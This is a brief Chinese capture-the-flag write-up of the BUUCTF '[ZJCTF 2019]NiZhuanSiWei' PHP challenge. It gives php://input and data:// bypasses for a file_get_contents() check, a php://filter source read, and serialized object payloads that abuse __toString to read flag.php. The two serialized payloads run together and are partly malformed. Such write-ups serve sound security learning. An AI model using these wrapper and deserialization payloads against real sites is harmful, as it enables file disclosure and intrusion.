BUUCTF [ZJCTF 2019]NiZhuanSiWei
首先打开页面
这里第一个第二个绕过方式很简单
php://input
data:<span>//text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=</span>
均可绕过file_get_contents()
![BUUCTF [ZJCTF 2019]NiZhuanSiWei BUUCTF [ZJCTF 2019]NiZhuanSiWei](https://cdn.ancii.com/article/image/v1/sw/wV/kP/PkwwVsGDmjDG9swnOi7SkjVAsMQAarn73E9S3mmSmcC7VYmx0h1hTJKflHglTY-2COaxTNiQdfZ2rRpqTo0kUg.png)
有了提示 useless.php
php://filter/read=convert.base64.encode/resource=useless.php
即可读源码
![BUUCTF [ZJCTF 2019]NiZhuanSiWei BUUCTF [ZJCTF 2019]NiZhuanSiWei](https://cdn.ancii.com/article/image/v1/sw/wV/kP/PkwwVsGDmjDG9swnOi7SkjVAsMQAarn73E9S3mmSmcC7VYmx0h1hTJKflHglTY-2viul020fQWTcWRYN-Ryn3w.png)
源码信息如上
可以看到是__tostring 当对象被当做字符串输出时即执行的魔法函数
这里总共有两个payload可以拿flag
第一种
O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";O:4:"Flag":1:{s:4:"file";s:8:"flag.php";file_get_contents()也可以解析 php://filter伪协议